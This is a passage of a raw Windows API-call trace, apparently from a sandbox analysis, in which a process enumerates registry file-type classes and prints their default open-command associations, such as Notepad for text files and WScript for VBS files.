0x6 [0101.935] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe86, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.FormatterConverter") returned 0x0 [0101.935] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.FormatterConverter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.935] SetLastError (dwErrCode=0x2) [0101.935] RegCloseKey (hKey=0x0) returned 0x6 [0101.935] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe87, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") returned 0x0 [0101.935] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.935] SetLastError (dwErrCode=0x2) [0101.935] RegCloseKey (hKey=0x0) returned 0x6 [0101.935] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe88, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.Formatters.InternalRM") returned 0x0 [0101.935] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.Formatters.InternalRM\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.936] SetLastError (dwErrCode=0x2) [0101.936] RegCloseKey (hKey=0x0) returned 0x6 [0101.936] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe89, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.Formatters.SoapFault") returned 0x0 [0101.936] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.Formatters.SoapFault\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.936] SetLastError (dwErrCode=0x2) [0101.936] RegCloseKey (hKey=0x0) returned 0x6 [0101.936] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe8a, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.Formatters.SoapMessage") returned 0x0 [0101.936] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.Formatters.SoapMessage\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.936] SetLastError (dwErrCode=0x2) [0101.936] RegCloseKey (hKey=0x0) returned 0x6 [0101.936] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe8b, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.ObjectIDGenerator") returned 0x0 [0101.936] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.ObjectIDGenerator\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.936] SetLastError (dwErrCode=0x2) [0101.936] RegCloseKey (hKey=0x0) returned 0x6 [0101.936] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe8c, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.OnDeserializedAttribute") returned 0x0 [0101.936] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.OnDeserializedAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.936] SetLastError (dwErrCode=0x2) [0101.936] RegCloseKey (hKey=0x0) returned 0x6 [0101.936] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe8d, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.OnDeserializingAttribute") returned 0x0 [0101.936] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.OnDeserializingAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.936] SetLastError (dwErrCode=0x2) [0101.936] RegCloseKey (hKey=0x0) returned 0x6 [0101.936] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe8e, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.OnSerializedAttribute") returned 0x0 [0101.937] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.OnSerializedAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.938] SetLastError (dwErrCode=0x2) [0101.938] RegCloseKey (hKey=0x0) returned 0x6 [0101.938] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe8f, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.OnSerializingAttribute") returned 0x0 [0101.938] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.OnSerializingAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.938] SetLastError (dwErrCode=0x2) [0101.938] RegCloseKey (hKey=0x0) returned 0x6 [0101.938] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe90, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.OptionalFieldAttribute") returned 0x0 [0101.938] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.OptionalFieldAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.938] SetLastError (dwErrCode=0x2) [0101.938] RegCloseKey (hKey=0x0) returned 0x6 [0101.938] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe91, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.SerializationException") returned 0x0 [0101.938] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.SerializationException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.938] SetLastError (dwErrCode=0x2) [0101.938] RegCloseKey (hKey=0x0) returned 0x6 [0101.938] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe92, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Runtime.Serialization.SurrogateSelector") returned 0x0 [0101.938] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Runtime.Serialization.SurrogateSelector\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.938] SetLastError (dwErrCode=0x2) [0101.938] RegCloseKey (hKey=0x0) returned 0x6 [0101.938] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe93, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.AllowPartiallyTrustedCallersAttribute") returned 0x0 [0101.938] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.AllowPartiallyTrustedCallersAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.938] SetLastError (dwErrCode=0x2) [0101.938] RegCloseKey (hKey=0x0) returned 0x6 [0101.938] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe94, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.CryptoConfig") returned 0x0 [0101.939] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.CryptoConfig\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.939] SetLastError (dwErrCode=0x2) [0101.939] RegCloseKey (hKey=0x0) returned 0x6 [0101.939] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe95, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.CryptographicException") returned 0x0 [0101.939] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.CryptographicException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.939] SetLastError (dwErrCode=0x2) [0101.939] RegCloseKey (hKey=0x0) returned 0x6 [0101.939] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe96, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.CryptographicUnexpectedOperationException") returned 0x0 [0101.939] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.CryptographicUnexpectedOperationException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.939] SetLastError (dwErrCode=0x2) [0101.939] RegCloseKey (hKey=0x0) returned 0x6 [0101.939] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe97, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.CspParameters") returned 0x0 [0101.939] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.CspParameters\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.939] SetLastError (dwErrCode=0x2) [0101.939] RegCloseKey (hKey=0x0) returned 0x6 [0101.939] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe98, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.DESCryptoServiceProvider") returned 0x0 [0101.939] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.DESCryptoServiceProvider\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.939] SetLastError (dwErrCode=0x2) [0101.939] RegCloseKey (hKey=0x0) returned 0x6 [0101.939] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe99, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.DSACryptoServiceProvider") returned 0x0 [0101.939] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.DSACryptoServiceProvider\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.940] SetLastError (dwErrCode=0x2) [0101.940] RegCloseKey (hKey=0x0) returned 0x6 [0101.940] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe9a, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.DSASignatureDeformatter") returned 0x0 [0101.940] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.DSASignatureDeformatter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.940] SetLastError (dwErrCode=0x2) [0101.940] RegCloseKey (hKey=0x0) returned 0x6 [0101.940] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe9b, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.DSASignatureFormatter") returned 0x0 [0101.940] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.DSASignatureFormatter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.940] SetLastError (dwErrCode=0x2) [0101.940] RegCloseKey (hKey=0x0) returned 0x6 [0101.940] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe9c, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.FromBase64Transform") returned 0x0 [0101.940] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.FromBase64Transform\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.940] SetLastError (dwErrCode=0x2) [0101.940] RegCloseKey (hKey=0x0) returned 0x6 [0101.940] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe9d, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.HMACMD5") returned 0x0 [0101.940] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.HMACMD5\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.940] SetLastError (dwErrCode=0x2) [0101.940] RegCloseKey (hKey=0x0) returned 0x6 [0101.940] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe9e, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.HMACRIPEMD160") returned 0x0 [0101.940] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.HMACRIPEMD160\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.940] SetLastError (dwErrCode=0x2) [0101.940] RegCloseKey (hKey=0x0) returned 0x6 [0101.940] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe9f, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.HMACSHA1") returned 0x0 [0101.941] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.HMACSHA1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.941] SetLastError (dwErrCode=0x2) [0101.941] RegCloseKey (hKey=0x0) returned 0x6 [0101.941] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xea0, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.HMACSHA256") returned 0x0 [0101.941] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.HMACSHA256\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.941] SetLastError (dwErrCode=0x2) [0101.941] RegCloseKey (hKey=0x0) returned 0x6 [0101.941] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xea1, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.HMACSHA384") returned 0x0 [0101.941] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.HMACSHA384\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.941] SetLastError (dwErrCode=0x2) [0101.941] RegCloseKey (hKey=0x0) returned 0x6 [0101.941] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xea2, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Security.Cryptography.HMACSHA512") returned 0x0 [0101.941] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Security.Cryptography.HMACSHA512\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.941] SetLastError (dwErrCode=0x2) [0101.941] RegCloseKey (hKey=0x0) returned 0x6 [0101.942] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="tel=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 67 [0101.942] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.942] GetFileType (hFile=0x5c) returned 0x3 [0101.942] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.942] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="tel=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tel=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 68 [0101.942] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x43, lpOverlapped=0x0) returned 1 [0101.943] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="telnet=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n") returned 98 [0101.943] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.943] GetFileType (hFile=0x5c) returned 0x3 [0101.943] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="telnet=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="telnet=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n", lpUsedDefaultChar=0x0) returned 99 [0101.943] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x62, lpOverlapped=0x0) returned 1 [0101.943] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="textfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n") returned 67 [0101.943] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.943] GetFileType (hFile=0x5c) returned 0x3 [0101.943] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="textfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="textfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 68 [0101.943] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x43, lpOverlapped=0x0) returned 1 [0101.944] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="themefile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Themes /Action:OpenTheme /file:\"%1\"\r\n") returned 168 [0101.944] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.944] GetFileType (hFile=0x5c) returned 0x3 [0101.944] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="themefile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Themes /Action:OpenTheme /file:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="themefile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Themes /Action:OpenTheme /file:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 169 [0101.944] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0xa8, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0xa8, lpOverlapped=0x0) returned 1 [0101.944] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="themepackfile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Themes /Action:OpenTheme /file:\"%1\"\r\n") returned 172 [0101.944] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.944] GetFileType (hFile=0x5c) returned 0x3 [0101.944] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="themepackfile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Themes /Action:OpenTheme /file:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="themepackfile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Themes /Action:OpenTheme /file:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 173 [0101.944] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0xac, lpOverlapped=0x0) returned 1 [0101.944] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="TIFImage.Document=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 133 [0101.945] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.945] GetFileType (hFile=0x5c) returned 0x3 [0101.945] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="TIFImage.Document=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TIFImage.Document=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 134 [0101.945] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x85, lpOverlapped=0x0) returned 1 [0101.945] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="tn3270=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n") returned 98 [0101.945] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.945] GetFileType (hFile=0x5c) returned 0x3 [0101.945] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="tn3270=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tn3270=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n", lpUsedDefaultChar=0x0) returned 99 [0101.945] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x62, lpOverlapped=0x0) returned 1 [0101.946] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="txtfile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n") returned 46 [0101.946] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.946] GetFileType (hFile=0x5c) returned 0x3 [0101.946] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="txtfile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="txtfile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", lpUsedDefaultChar=0x0) returned 47 [0101.946] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x2e, lpOverlapped=0x0) returned 1 [0101.947] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="VBEFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n") returned 53 [0101.947] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.947] GetFileType (hFile=0x5c) returned 0x3 [0101.947] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VBEFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBEFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 54 [0101.947] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x35, lpOverlapped=0x0) returned 1 [0101.947] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="VBSFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n") returned 53 [0101.947] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.947] GetFileType (hFile=0x5c) returned 0x3 [0101.947] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VBSFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBSFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 54 [0101.947] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x35, lpOverlapped=0x0) returned 1 [0101.948] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="vcard_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /vcard \"%1\"\r\n") returned 71 [0101.948] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.948] GetFileType (hFile=0x5c) returned 0x3 